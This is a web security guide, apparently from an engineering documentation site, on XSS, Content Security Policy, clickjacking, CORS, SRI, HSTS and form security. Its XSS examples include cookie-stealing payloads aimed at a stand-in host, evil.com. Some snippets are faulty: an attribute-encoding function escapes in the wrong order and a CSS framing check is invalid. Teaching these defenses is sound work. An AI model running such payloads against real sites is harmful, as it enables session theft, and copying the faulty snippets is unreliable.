|$ curl https://forge-ai.dev/api/markdown?path=docs/html/security
$cat docs/html-security-(csp-/-xss).md
updated This week·40 min read·published

HTML Security (CSP / XSS)

HTMLSecurityAdvancedAdvanced
Introduction

Web security is a critical concern for every HTML developer. Browsers have built-in defenses, but the first line of defense is writing secure HTML. This guide covers the most common web vulnerabilities and the HTML mechanisms available to mitigate them, with a primary focus on Cross-Site Scripting (XSS) and Content Security Policy (CSP).

Security is not a single feature — it is a layered approach. Each defense mechanism addresses specific attack vectors. Understanding how these mechanisms work together helps you build applications that are resilient against evolving threats.

warning

Security is a process, not a destination. No single technique provides complete protection. Always follow a defense-in-depth strategy: use CSP, input validation, output encoding, secure cookies, and HTTPS together. An attacker only needs to find one gap.
Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) is a vulnerability where attackers inject malicious scripts into web pages viewed by other users. XSS is the most common web security vulnerability and can lead to session hijacking, credential theft, and malware distribution.

TypeMechanismPersistenceSeverity
Reflected XSSMalicious script is part of the request (URL, query parameter) and reflected immediately in the responseNon-persistentMedium
Stored XSSMalicious script is stored on the server (database, comment system) and served to all visitorsPersistentCritical
DOM-based XSSVulnerability exists entirely in client-side JavaScript — the page itself is safe, but JS manipulates the DOM unsafelyNon-persistentHigh
xss-examples.html
HTML
1<!-- Reflected XSS example (vulnerable) -->
2<!-- URL: https://example.com/search?q=<script>alert('xss')</script> -->
3<div>
4 Search results for: <strong><?= $_GET['q'] ?></strong>
5 <!-- Unsafe: server echoes user input without encoding -->
6</div>
7
8<!-- Stored XSS example (vulnerable) -->
9<!-- User submits comment containing: -->
10<!-- <script>document.location='https://evil.com/?c='+document.cookie</script> -->
11<div class="comment">
12 <p><?= $comment->body ?></p>
13 <!-- All visitors execute the injected script -->
14</div>
15
16<!-- DOM-based XSS example (vulnerable) -->
17<script>
18 // Unsafe: innerHTML with user-controlled data
19 const name = new URLSearchParams(window.location.search).get('name');
20 document.getElementById('greeting').innerHTML = 'Hello, ' + name;
21
22 // Safe: textContent prevents HTML injection
23 document.getElementById('greeting').textContent = 'Hello, ' + name;
24</script>
25
26<!-- XSS via attribute injection -->
27<!-- Bad: attacker breaks out of attribute -->
28<img src="https://example.com/image.jpg" alt=""
29onload="fetch('https://evil.com/steal?c='+document.cookie)">
30
31<!-- Safe: encode attribute values -->
32<img src="https://example.com/image.jpg" alt="&quot; onload=&quot;alert(1)&quot;">

best practice

The most effective XSS prevention is context-aware output encoding. Never insert untrusted data into HTML, attribute values, JavaScript, CSS, or URLs without proper encoding. Use a template engine that auto-escapes by default (React JSX, Next.js, Handlebars, EJS). Always prefer textContent over innerHTML.
Content Security Policy (CSP)

Content Security Policy is an HTTP response header that allows you to control which resources the browser is allowed to load for a given page. CSP is the most powerful defense against XSS. It works by defining a whitelist of trusted sources for scripts, styles, images, fonts, and other resource types.

DirectiveControlsExample Value
default-srcFallback for all resource types'self'
script-srcAllowed script sources'self' 'nonce-abc123' https://analytics.example.com
style-srcAllowed stylesheet sources'self' 'unsafe-inline'
img-srcAllowed image sources'self' https://images.example.com data:
font-srcAllowed font sources'self' https://fonts.gstatic.com
connect-srcAllowed fetch/XMLHttpRequest targets'self' https://api.example.com
frame-srcAllowed iframe sources'self' https://embed.example.com
frame-ancestorsWho can embed this page in an iframe'self' https://app.example.com
base-uriAllowed URLs for <base> element'self'
report-uriWhere to send violation reportshttps://example.com/csp-report
report-toReporting API endpoint for violationscsp-endpoint
form-actionAllowed form submission targets'self'
csp-headers.html
HTML
1<!-- CSP via HTTP header (preferred) -->
2<!-- Content-Security-Policy:
3 default-src 'self';
4 script-src 'self' 'nonce-abc123' https://analytics.example.com;
5 style-src 'self' 'unsafe-inline';
6 img-src 'self' https://images.example.com data: blob:;
7 font-src 'self' https://fonts.gstatic.com;
8 connect-src 'self' https://api.example.com wss://ws.example.com;
9 frame-src 'self' https://embed.example.com;
10 frame-ancestors 'none';
11 base-uri 'self';
12 form-action 'self';
13 report-uri https://example.com/csp-report;
14 report-to csp-endpoint
15-->
16
17<!-- CSP via meta tag (limited) -->
18<meta
19 http-equiv="Content-Security-Policy"
20 content="default-src 'self';
21 script-src 'self' 'nonce-abc123';
22 style-src 'self' 'unsafe-inline';
23 img-src 'self' https://images.example.com data:;
24 font-src 'self' https://fonts.gstatic.com;
25 frame-ancestors 'none';"
26>
27
28<!-- Using nonce-based script allowlisting -->
29<script nonce="abc123">
30 // This inline script is allowed by the CSP nonce
31 initApplication();
32</script>
33
34<!-- Strict CSP using hashes -->
35<style>
36 /* Allowed by hash */
37 body { background: #000; }
38</style>
39
40<!-- CSP reporting endpoint -->
41<script>
42 const reportSample = {
43 "csp-report": {
44 "document-uri": "https://example.com/page",
45 "blocked-uri": "https://evil.com/script.js",
46 "violated-directive": "script-src 'self'",
47 "original-policy": "default-src 'self'; script-src 'self'"
48 }
49 };
50</script>

best practice

CSP is a defense-in-depth mechanism. It is not a replacement for proper output encoding and input validation. Start with a restrictive policy using default-src 'self', then gradually add exceptions as needed. Use report-uri or report-to in report-only mode (Content-Security-Policy-Report-Only) before enforcing.
XSS Prevention Techniques

Preventing XSS requires a multi-layered approach. The following techniques, used together, provide comprehensive protection against script injection attacks.

TechniqueDescriptionEffectiveness
Output EncodingEncode special characters (<, >, &, ", ') before rendering user data in HTMLEssential
Input ValidationValidate and sanitize user input on both client and server. Reject unexpected formats.Important
CSPRestrict which scripts can execute using nonces, hashes, or origin allowlistsVery High
Trusted TypesEnforce that DOM manipulation APIs (innerHTML, outerHTML) only accept trusted, sanitized valuesHigh
SanitizationStrip dangerous tags and attributes from user-provided HTML (e.g., DOMPurify)Good (with CSP)
HttpOnly CookiesPrevents JavaScript from accessing authentication cookies, limiting damage from XSSMitigation
Context-aware EscapingDifferent encoding for HTML body, attributes, URLs, CSS, and JavaScript contextsEssential
xss-prevention.html
HTML
1<!-- Trusted Types enforcement -->
2<meta
3 http-equiv="Content-Security-Policy"
4 content="require-trusted-types-for 'script'"
5>
6
7<script>
8 // Without Trusted Types — blocked by CSP
9 document.getElementById('app').innerHTML = userInput;
10
11 // With Trusted Types — policy-based sanitization
12 const sanitizer = trustedTypes.createPolicy('default', {
13 createHTML: (input) => {
14 return DOMPurify.sanitize(input, {
15 ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
16 ALLOWED_ATTR: ['href', 'title'],
17 });
18 },
19 });
20 el.innerHTML = sanitizer.createHTML(userInput);
21</script>
22
23<!-- DOMPurify sanitization -->
24<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.1.0/purify.min.js"></script>
25<script>
26 const dirty = '<img src=x onerror=alert(1)>';
27 const clean = DOMPurify.sanitize(dirty);
28 // clean = '<img src="x">' — onerror removed
29 document.getElementById('app').innerHTML = clean;
30</script>
31
32<!-- Context-aware encoding in JavaScript -->
33<script>
34 function encodeHTML(str) {
35 return str.replace(/&/g, '&amp;')
36 .replace(/</g, '&lt;')
37 .replace(/>/g, '&gt;')
38 .replace(/"/g, '&quot;')
39 .replace(/'/g, '&#x27;');
40 }
41
42 function encodeAttribute(str) {
43 return str.replace(/"/g, '&quot;')
44 .replace(/'/g, '&#x27;')
45 .replace(/</g, '&lt;')
46 .replace(/>/g, '&gt;')
47 .replace(/&/g, '&amp;');
48 }
49
50 // Safe rendering
51 el.innerHTML = encodeHTML(userName); // HTML body context
52 el.setAttribute('title', encodeAttribute(userTitle)); // Attribute context
53</script>
🔥

pro tip

Use Trusted Types with DOMPurify for the best XSS protection. Trusted Types is a browser API that restricts dangerous DOM APIs to only accept values created by a registered policy. Combined with CSP, this creates a powerful defense where even if an attacker injects code, they cannot manipulate the DOM unsafely.
Clickjacking Protection

Clickjacking tricks users into clicking something different from what they perceive by overlaying a transparent iframe over a legitimate-looking page. The attacker lures users into performing actions they did not intend, such as clicking a "Like" button or submitting a form.

MethodImplementationSupport
X-Frame-OptionsHTTP header: DENY or SAMEORIGINBroad (legacy, superseded by CSP)
CSP frame-ancestorsCSP directive: frame-ancestors 'self'Modern browsers (CSP Level 2+)
JS frame-bustingJavaScript check: if (top !== self)Can be bypassed — use headers
clickjacking.html
HTML
1<!-- X-Frame-Options (legacy) -->
2<!-- HTTP Header: X-Frame-Options: DENY -->
3<!-- HTTP Header: X-Frame-Options: SAMEORIGIN -->
4
5<!-- CSP frame-ancestors (modern, preferred) -->
6<!-- Content-Security-Policy: frame-ancestors 'none' -->
7<!-- Content-Security-Policy: frame-ancestors 'self' -->
8<!-- Content-Security-Policy: frame-ancestors 'self' https://trusted-app.com -->
9
10<!-- CSP frame-ancestors via meta tag -->
11<meta
12 http-equiv="Content-Security-Policy"
13 content="frame-ancestors 'self'"
14>
15
16<!-- JavaScript frame-busting (last resort) -->
17<script>
18 if (top !== self) {
19 top.location = self.location;
20 }
21</script>
22
23<style>
24 /* CSS defense: hide body if framed (bypassable) */
25 body { display: none; }
26 :root:only-child body { display: block; }
27</style>
28
29<!-- Allowing your site to be embedded safely -->
30<!-- Only embed in trusted origins -->
31<iframe
32 src="https://trusted-app.com/widget"
33 title="Trusted Widget"
34 sandbox="allow-scripts allow-same-origin"
35></iframe>

best practice

Use frame-ancestors via CSP rather than the older X-Frame-Options header. CSP frame-ancestors supports multiple origins, wildcards, and more granular control. Set frame-ancestors 'none' if your site should never be embedded in an iframe.
Cross-Origin Resource Sharing (CORS)

CORS is a browser security mechanism that controls how resources on one origin can be requested from another origin. By default, browsers block cross-origin HTTP requests for security reasons. CORS headers allow servers to explicitly opt into cross-origin sharing.

HeaderPurpose
Access-Control-Allow-OriginSpecifies which origins can access the resource (* or specific origin)
Access-Control-Allow-MethodsLists allowed HTTP methods (GET, POST, PUT, DELETE, etc.)
Access-Control-Allow-HeadersLists allowed request headers
Access-Control-Allow-CredentialsIndicates whether credentials (cookies, auth) can be included
Access-Control-Max-AgeHow long the preflight result can be cached
Access-Control-Expose-HeadersWhich response headers the client script can access
cors.html
HTML
1<!-- CORS preflight request (OPTIONS) -->
2<!--
3Request:
4OPTIONS /api/data HTTP/1.1
5Origin: https://app.example.com
6Access-Control-Request-Method: POST
7Access-Control-Request-Headers: Content-Type, Authorization
8
9Response:
10HTTP/1.1 204 No Content
11Access-Control-Allow-Origin: https://app.example.com
12Access-Control-Allow-Methods: GET, POST, PUT, DELETE
13Access-Control-Allow-Headers: Content-Type, Authorization
14Access-Control-Allow-Credentials: true
15Access-Control-Max-Age: 86400
16-->
17
18<!-- Cross-origin fetch from HTML -->
19<script>
20 // Simple request (GET with no custom headers)
21 fetch('https://api.example.com/public')
22 .then(r => r.json())
23 .then(data => console.log(data));
24
25 // Request with credentials (cookies)
26 fetch('https://api.example.com/user', {
27 credentials: 'include', // send cookies
28 })
29 .then(r => r.json())
30 .then(data => console.log(data));
31
32 // Preflight triggered (custom headers, non-simple methods)
33 fetch('https://api.example.com/data', {
34 method: 'POST',
35 headers: {
36 'Content-Type': 'application/json',
37 'X-Custom-Header': 'value',
38 },
39 body: JSON.stringify({ key: 'value' }),
40 });
41</script>
42
43<!-- CORS-safe image loading -->
44<img
45 src="https://cdn.example.com/images/photo.jpg"
46 alt="Cross-origin image"
47 crossorigin="anonymous"
48>
49
50<!-- CORS-enabled font loading -->
51<link
52 rel="preconnect"
53 href="https://fonts.gstatic.com"
54 crossorigin
55>
56<link
57 href="https://fonts.googleapis.com/css2?family=Inter:wght@400;700&display=swap"
58 rel="stylesheet"
59>

warning

Never use Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true — browsers will reject this. If you need credentials, specify the exact origin. Be careful with wildcards in production; they expose your API to any website.
Subresource Integrity (SRI)

Subresource Integrity (SRI) is a security feature that allows browsers to verify that resources fetched from third-party origins (CDNs) have not been tampered with. It works by comparing the cryptographic hash of the fetched file against a hash specified in the integrity attribute.

sri.html
HTML
1<!-- SRI for external scripts -->
2<script
3 src="https://cdn.example.com/library.js"
4 integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
5 crossorigin="anonymous"
6></script>
7
8<!-- SRI for external stylesheets -->
9<link
10 rel="stylesheet"
11 href="https://cdn.example.com/styles.css"
12 integrity="sha384-+/M6kredJcxdsqjCVqE8s0kFG7Hle6Uf0S1f3W1s5C1l5Z1s0P6oF5h5P5P5g5"
13 crossorigin="anonymous"
14>
15
16<!-- SRI for popular CDN resources -->
17<link
18 rel="stylesheet"
19 href="https://cdnjs.cloudflare.com/ajax/libs/normalize/8.0.1/normalize.min.css"
20 integrity="sha512-NhSC1YmyruXifcj/KFRWoC561YpHpc5Jtzgvbuzx5VozKpWvQ+4nXhPdFgmx8xqexRcpAglTj9sIB8XcIRNZHw=="
21 crossorigin="anonymous"
22 referrerpolicy="no-referrer"
23>
24
25<script
26 src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.1.0/purify.min.js"
27 integrity="sha512-9k1frVROGNZq4q2+R1N9U4gzW5Qzth5s3OOZqOR25VbR9KPL0VW4W1B4Y7mI2hA1C1T5XH0kPZmD3GJWj0gxg=="
28 crossorigin="anonymous"
29 referrerpolicy="no-referrer"
30></script>
31
32<!-- Generating SRI hashes -->
33<script>
34 // Using OpenSSL:
35 // openssl dgst -sha384 -binary file.js | openssl base64 -A
36
37 // Using Node.js:
38 // const crypto = require('crypto');
39 // const hash = crypto.createHash('sha384').update(content).digest('base64');
40 // console.log(hash);
41</script>
42
43<!-- SRI with multiple hash algorithms -->
44<script
45 src="https://cdn.example.com/app.js"
46 integrity="sha384-ABC sha512-XYZ"
47 crossorigin="anonymous"
48></script>

info

Always include crossorigin="anonymous" when using SRI. Without it, browsers will not perform the integrity check on cross-origin resources. Use the integrity attribute with SHA-384 or SHA-512 hashes. Tools like srihash.org generate these for popular CDNs.
HTTPS & HSTS

HTTPS encrypts all communication between the browser and server, preventing eavesdropping, tampering, and man-in-the-middle attacks. HTTP Strict Transport Security (HSTS) tells browsers to always use HTTPS for a given domain, even if the user types HTTP or clicks an HTTP link.

https-hsts.html
HTML
1<!-- HSTS HTTP header (preload-ready) -->
2<!-- Strict-Transport-Security: max-age=63072000; includeSubDomains; preload -->
3
4<!-- Force HTTPS via meta refresh (ineffective — use server header) -->
5<meta
6 http-equiv="refresh"
7 content="0;url=https://example.com/"
8>
9
10<!-- Upgrade insecure requests via CSP -->
11<meta
12 http-equiv="Content-Security-Policy"
13 content="upgrade-insecure-requests"
14>
15
16<!-- Block mixed content via CSP -->
17<meta
18 http-equiv="Content-Security-Policy"
19 content="block-all-mixed-content"
20>
21
22<!-- Ensure all resources load over HTTPS -->
23<script>
24 // Check if page is served over HTTPS
25 if (window.location.protocol !== 'https:') {
26 window.location.protocol = 'https:';
27 // Note: this may cause an error if the server doesn't redirect
28 }
29</script>
30
31<!-- HTTPS-only resource loading -->
32<img src="https://cdn.example.com/photo.jpg" alt="Secure image">
33<link rel="stylesheet" href="https://cdn.example.com/styles.css">
34<script src="https://cdn.example.com/app.js" defer></script>
35
36<!-- Upgrade insecure form action -->
37<form action="https://secure.example.com/submit" method="POST">
38 <input type="text" name="data">
39 <button type="submit">Submit</button>
40</form>

best practice

Submit your site to the HSTS preload list (https://hstspreload.org) after setting the HSTS header with max-age=63072000; includeSubDomains; preload. This hardcodes your domain into major browsers so HTTPS is enforced on the very first request, eliminating the initial HTTP connection entirely.
Sandboxing iframes

The sandbox attribute on <iframe> applies extra restrictions to the embedded content. It can prevent scripts, popups, form submission, and more. The attribute is a powerful security tool when embedding untrusted or third-party content.

TokenPermission Granted
allow-scriptsAllows JavaScript execution in the iframe
allow-same-originTreats the iframe as same-origin (needed for cookies, localStorage)
allow-formsAllows form submission from the iframe
allow-popupsAllows popup windows (window.open)
allow-top-navigationAllows the iframe to navigate the top-level window
allow-presentationAllows starting a presentation session
allow-downloadsAllows file downloads
(no tokens)Most restrictive — everything blocked
sandbox-iframes.html
HTML
1<!-- Most restrictive: no permissions -->
2<iframe
3 src="https://untrusted.example.com/widget"
4 title="Widget"
5 sandbox
6></iframe>
7
8<!-- Allow scripts only (common for widgets) -->
9<iframe
10 src="https://widget.example.com/chat"
11 title="Chat Widget"
12 sandbox="allow-scripts"
13 loading="lazy"
14></iframe>
15
16<!-- Allow scripts and same-origin (for trusted subdomains) -->
17<iframe
18 src="https://subdomain.example.com/app"
19 title="Sub App"
20 sandbox="allow-scripts allow-same-origin"
21></iframe>
22
23<!-- Payment form with necessary permissions -->
24<iframe
25 src="https://payments.example.com/checkout"
26 title="Payment Form"
27 sandbox="allow-scripts allow-forms allow-popups"
28 allow="payment 'src'"
29></iframe>
30
31<!-- Embed with full restrictions and CSP -->
32<iframe
33 src="https://social.example.com/post"
34 title="Social Post"
35 sandbox="allow-scripts"
36 loading="lazy"
37 referrerpolicy="no-referrer"
38></iframe>
39
40<!-- Nested iframe nightmare — avoid this -->
41<iframe src="level1.html">
42 <iframe src="level2.html">
43 <!-- Each nested iframe is a separate security boundary -->
44 </iframe>
45</iframe>

best practice

Use the most restrictive sandbox value possible. Start with no tokens (all restrictions enabled) and only add permissions that are absolutely necessary. Avoid allow-scripts allow-same-origin together — this effectively removes all sandbox protections for that origin.
Form Security

Forms are one of the most attacked vectors on the web. Cross-Site Request Forgery (CSRF) tricks authenticated users into submitting unwanted actions. Combined with XSS, an attacker can steal form data or perform actions on behalf of users.

Use CSRF tokens — unique, unpredictable values tied to the user session, validated on every state-changing request
Set SameSite=Strict or SameSite=Lax on session cookies to prevent cross-origin form submission
Use form-action CSP directive to restrict where forms can be submitted
Validate and sanitize all input on both client and server — never trust the client
Use autocomplete="off" on sensitive fields (passwords, credit cards) when appropriate
Implement rate limiting on form endpoints to prevent brute force and enumeration attacks
form-security.html
HTML
1<!-- Secure form with CSRF protection -->
2<form
3 action="/api/transfer"
4 method="POST"
5 autocomplete="off"
6>
7 <!-- CSRF token (hidden, server-generated, session-bound) -->
8 <input
9 type="hidden"
10 name="csrf_token"
11 value="a1b2c3d4e5f6..." <!-- server-generated -->
12 >
13
14 <label for="amount">Amount</label>
15 <input
16 type="number"
17 id="amount"
18 name="amount"
19 required
20 min="0.01"
21 step="0.01"
22 >
23
24 <label for="recipient">Recipient</label>
25 <input
26 type="text"
27 id="recipient"
28 name="recipient"
29 required
30 pattern="[A-Za-z0-9]+"
31 maxlength="50"
32 >
33
34 <button type="submit">Send</button>
35</form>
36
37<!-- CSP form-action protection -->
38<!-- HTTP Header:
39 Content-Security-Policy: form-action 'self'
40-->
41
42<!-- Prevents forms from submitting to unknown origins -->
43<form action="https://evil.com/steal" method="POST">
44 <!-- CSP blocks this form submission -->
45</form>
46
47<!-- Use POST for state-changing requests -->
48<!-- Bad: GET request changes state -->
49<a href="/delete/account?id=123">Delete Account</a>
50
51<!-- Good: POST with CSRF protection -->
52<form action="/delete/account" method="POST">
53 <input type="hidden" name="id" value="123">
54 <input type="hidden" name="csrf_token" value="...">
55 <button type="submit">Delete Account</button>
56</form>
57
58<!-- Input validation attributes -->
59<input
60 type="email"
61 required
62 pattern="[^@]+@[^@]+.[^@]+"
63 maxlength="254"
64 title="Enter a valid email address"
65>
66
67<input
68 type="url"
69 required
70 pattern="https?://.*"
71 maxlength="2048"
72>

warning

CSRF tokens, SameSite cookies, and CSP form-action provide defense in depth. Use all three together. A CSRF token alone is not sufficient if an XSS vulnerability exists — the attacker can read the token from the page. SameSite=Strict cookies provide a strong baseline but are not supported in all legacy browsers.
Best Practices
Implement CSP with default-src 'self' and lock down script-src with nonces or hashes
Set HttpOnly, Secure, and SameSite=Strict on all session cookies
Use Trusted Types to prevent DOM-based XSS from unsafe innerHTML assignments
Apply Subresource Integrity (SRI) to all third-party scripts and stylesheets loaded from CDNs
Use the sandbox attribute on iframes with the minimum set of permissions
Never use innerHTML, outerHTML, or document.write() with user-controlled data
Validate and sanitize all user input on both client and server — never trust the client
Serve all content over HTTPS and enable HSTS with preload
Use frame-ancestors CSP directive to prevent clickjacking — replace X-Frame-Options
Set form-action CSP to restrict where forms can be submitted
Use the __Host- cookie prefix for the most restrictive cookie scoping
Run automated security scans (OWASP ZAP, Burp Suite, Lighthouse) as part of your CI/CD pipeline
$Blueprint — Engineering Documentation·Section ID: HTML-38·Revision: 1.0